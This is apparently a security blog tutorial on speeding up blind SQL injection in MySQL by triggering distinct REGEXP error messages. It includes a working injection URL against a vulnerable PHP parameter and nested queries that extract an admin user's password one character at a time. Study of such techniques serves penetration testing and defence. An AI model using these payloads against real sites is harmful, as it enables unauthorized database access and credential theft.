Speeding up Blind SQL Injections using Conditional Errors in MySQL

Please note that this article expects some prior knowledge of blind SQL injections.

Edit: If you want to read about this in Russisn, its been published here in 2009.
Edit2: jrm` provided me with a working implementation of this method which he coded using information from this article. His code can be read at the bottom of this article or downloaded here.
Edit3: jrm` also created python script which can be downloaded here.

Usually a syntax error in a blind SQL injection will have some sort of visible effect in the output of a web application. So what if we could conditionally generate such an error instead of relying on conditionally delaying and timing a request using functions such as BENCHMARK or SLEEP?

There is no documented way of causing MySQL to throw an error based on a condition in a query. However, in both MySQL 4 and 5, there exists an operator named REGEXP (and it's synonym RLIKE). This operator is used for pattern matching using regular expressions.

The Basic Behaviour of REGEXP

This is a SQL query that would return "1" since the selected text "foo" matches the simple pattern "bar|foo". SELECT 'foo' REGEXP 'bar|foo';
To simplify the query a number could be selected and a number could be used as a pattern. SELECT 1 REGEXP 1
But if an incorrect pattern like this empty string is supplied, MySQL will throw an error that reads "Got error 'empty (sub)expression' from regexp". SELECT 1 REGEXP ''

Example 1

Combine the behaviour of REGEXP with MySQL's IF function and conditional errors can be produced. This first query will return "1" without any complications while the second one will throw an error. SELECT 1 REGEXP IF(1=1,1,'') SELECT 1 REGEXP IF(1=2,1,'') The only difference between these querys is that the first one supplied the IF function with a true statement (1=1) while the secound supplied a false statement (1=2).

Consider that as an alternative to this commonly used method where the first query will return immediately while the second will return after a few seconds delay. IF(1=1,1,BENCHMARK(1000000,MD5(1))) IF(1=2,1,BENCHMARK(1000000,MD5(1)))
A blind SQL injection like the one in this line of PHP could be exploited more then 10 times faster by avoiding the delay. mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die("Database error!"); And to exploit the vulnerable line of PHP to output "Database error!" if the MySQL version isn't 5. One would use a query like this one. SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')
And input it to the script like this.
http://www.example.com/vulnscript.php?user_id=' OR (SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')) OR '1

Multiple Conditional errors

Consider a vulnerable line of PHP like this where instead of a static error message informing us of a database error, we'll get to see the actual error message thrown by MySQL. mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die(mysql_error());
Now why would this make any difference?
The REGEXP operator cannot only produce one error message, not two, but 10 different error messages. These different error messages can be triggered by different malformated patterns.
Here is a list of invalid patterns and there correlating error messages. SELECT 1 REGEXP '' Got error 'empty (sub)expression' from regexp SELECT 1 REGEXP '(' Got error 'parentheses not balanced' from regexp SELECT 1 REGEXP '[' Got error 'brackets ([ ]) not balanced' from regexp SELECT 1 REGEXP '\\' Got error 'trailing backslash (\)' from regexp SELECT 1 REGEXP '*' Got error 'repetition-operator operand invalid' from regexp SELECT 1 REGEXP 'a{1,1,1}' Got error 'invalid repetition count(s)' from regexp SELECT 1 REGEXP '[a-9]' Got error 'invalid character range' from regexp SELECT 1 REGEXP 'a{1,' Got error 'braces not balanced' from regexp SELECT 1 REGEXP '[[.ab.]]' Got error 'invalid collating element' from regexp SELECT 1 REGEXP '[[:ab:]]' Got error 'invalid character class' from regexp
Usually when exploiting a blind SQL injection 8 request would need to be sent to a vulnerable web application to extract one byte of data from it's database. Since the only value one request can extract is either true or false, one request for each of the 8 bits in a byte is needed.
By utilizing conditional errors, instead of 2 having distinguishable states, 11 different states can be distinguished. 10 for the different error messages and 1 if no error occurred.

Useing these 11 states, 47% of all the 256 possible values of a byte could be determined in only 2 requests. Another 47% in 3 requests. And the remaining 6% in 4 requests.
Or if the possible values were narrowed down to only the printable characters (ASCII decimal 32-127). 100% could be determined in 2 requests.
Or if the possible values were further narrowed down to numerics (0-9), only 1 request for each digit would be needed.

Example 2

As an example lets say that we would want to find out the first letter of the password belonging to a user named admin.

Usually we would form a query like this. SELECT `pass` FROM `users` WHERE `user`='admin' And use that query as a subquery to ask if the ASCII value of a letter is greater then 128. IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))>128,1,BENCHMARK(1000000,MD5(1))) That query would return immediately if the first letters ASCII value is greater then 128 and delay for a little while if it is 128 or less. And then further requests would keep cutting the range in half until it's been narrowed down to to a definite value.

To make use of conditional errors 10 questions would be asked in a single query. The first query would look something like this. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<31,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<52,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<73,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<94,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<115,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<136,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<157,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<178,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<199,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<230,'[[:ab:]]', 1))))))))))
If this query returns an error message that reads "Got error 'repetition-operator operand invalid' from regexp". Then the decimal ASCII value of the first letter of admin's password is contained within the 94-114 range.

After that one would send another query making 10 guesses on 10 distinct values. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=94,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=95,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=96,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=97,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=98,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=99,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=100,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=101,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=102,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=103,'[[:ab:]]', 1)))))))))) If no error message is returned all of those guesses where wrong. In that case one would send another query containing 10 of the 11 remaining values in the 94-114 range. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=104,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=105,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=106,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=107,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=108,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=109,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=110,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=111,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=112,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=113,'[[:ab:]]', 1)))))))))) If this query returned the error message "Got error 'trailing backslash (\)' from regexp" the first letter of admin's password has the ASCII value 107 witch corresponds to a lowercase k. Or if no error is returned that would mean the first letter has an ASCII value of 114, the only remaining value within the range.

Note: For anyone trying to program a script to automatically send these queries. Remember that values in the first and the last 2 ranges of the first query might require 4 requests while all other ranges requires 2-3 requests.

Conclusion

This method is particularly useful for its substantial increase in speed and the reduced number of requests needed compared to other commonly used methods. However, special conditions is required to successfully utilize these improvements. Although nearly all blind SQL injection points differs its output when an error is thrown, not all of them do. Thus whenever this method is used in a universal manner, the method of delaying and timing would still be needed as a fallback.


Related links:
http://dev.mysql.com/doc/refman/5.1/en/regexp.html
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
http://qwazar.ru/?p=26


blindsql_v1.5.py by jrm`
blindsql_v1.4_regexp.php by jrm`
jrm` provided me with this awesome script which implements the error based REGEXP method.
"Result : 30 secs for the binary masks version, 10 secs for the REGEXP version on the same SQL query."